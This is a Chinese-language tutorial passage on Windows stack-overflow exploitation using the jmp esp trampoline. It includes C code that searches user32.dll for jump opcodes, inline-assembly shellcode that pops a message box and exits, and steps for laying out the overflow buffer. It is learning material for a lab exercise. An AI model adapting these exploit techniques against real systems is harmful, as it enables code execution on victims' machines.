0x00 静态定位 shellcode
0x01 原理
在chapter2 栈溢出原理与实践的代码植入中,直接将返回地址构造成一个定值,但由于动态链接库的装入和卸载等原因,Windows 进程的函数栈帧很有可能会产生“移位”,造成如下图所示的情况,指向无效指令,导致 shellcode 无法正常执行。
为了解决这个问题,需要使用一个“跳板”,这里采用的是跳转指令 jmp esp(跳板技术应该算得上是Windows 栈溢出利用技术的一个里程碑)。
攻击流程:
- 用内存中任意一个 jmp esp 指令的地址覆盖函数返回地址;
- jmp esp 指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行;
- 重新布置 shellcode:将缓冲区前边一段地方用任意数据填充,把 shellcode 恰好摆放在函数返回地址之后。
0x02 使用“跳板”定位的 exploit
准备工作1:编程序搜索内存,找到 jmp esp 的内存地址。
jmp esp 对应的机器码是 0xFFE4,程序的作用就是从 user32.dll 在内存中的基地址开始向后搜索 0xFFE4,如果找到就返回其内存地址(指针值)。修改程序可用别的动态链接库替换 user32.dll,或使用其他类型的跳转地址。
//FF E0 JMP EAX
//FF E1 JMP ECX
//FF E2 JMP EDX
//FF E3 JMP EBX
//FF E4 JMP ESP
//FF E5 JMP EBP
//FF E6 JMP ESI
//FF E7 JMP EDI
//FF D0 CALL EAX
//FF D1 CALL ECX
//FF D2 CALL EDX
//FF D3 CALL EBX
//FF D4 CALL ESP
//FF D5 CALL EBP
//FF D6 CALL ESI
//FF D7 CALL EDI
#include <windows.h> #include <stdio.h> #define DLL_NAME "user32.dll" main() { BYTE* ptr; int position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle=LoadLibrary(DLL_NAME); if(!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try { if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf("OPCODE found at 0x%x ",address); } } catch(...) { int address = (int)ptr + position; printf("END OF 0x%x ", address); done_flag = true; } } }
运行结果:
选择其中一条 0x77D86773 作为返回地址。
准备工作2:为了修复之前 shellcode 无法正常退出的缺陷,在调用 MessageBox 之后,通过调用 exit 函数让程序干净利落地退出。
ExitProcess 是 kernel32.dll 的导出函数,依然使用 dependency walker,找到我们所需的内存地址,结果如下:
kernel32.dll 的基地址是 0x7C800000,加上函数的偏移地址 0x0001CAFA,最后得到函数的入口地址为 0x7C81CAFA。
准备工作3:提取汇编代码对应的机器码。通过反汇编工具,如 IDA pro 或 OD 完成汇编代码到机器码的转换。
使用如下 shellcode 的源代码,用 VC6.0 编译运行:
#include <windows.h> int main() { HINSTANCE LibHandle; char dllbuf[11] = "user32.dll"; LibHandle = LoadLibrary(dllbuf); _asm{ nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop sub sp,0x440 xor ebx,ebx push ebx // cut string push 0x74736577 push 0x6C696166//push failwest mov eax,esp //load address of failwest push ebx push eax push eax push ebx mov eax, 0x77D507EA//(0x77D804EA) address should be reset in different OS call eax //call MessageboxA push ebx mov eax,0x7C81CAFA //(0x7C81CDDA) address should be reset in different OS call eax //call exit(0) nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop } }
注意!ExitProcess 函数的入口地址应该对应改成准备工作2中获得的内存地址。同时,前后输入较多的 nop 是方便下一步定位机器代码。
结果:在 OD 中加载 PE 文件,找到相应的机器代码,复制到 TXT 文件中。
至此,所需的准备工作就完成了,接下来就制作 exploit 吧!
首先,计算好返回地址在缓冲区中的偏移,在第53-56字节处填入 jmp esp 的内存地址,之前用任意字符串填充(如‘1234’)。
然后,将需要执行的机器代码填入:
结果:使用跳板完成消息框,且不会出现内存错误了。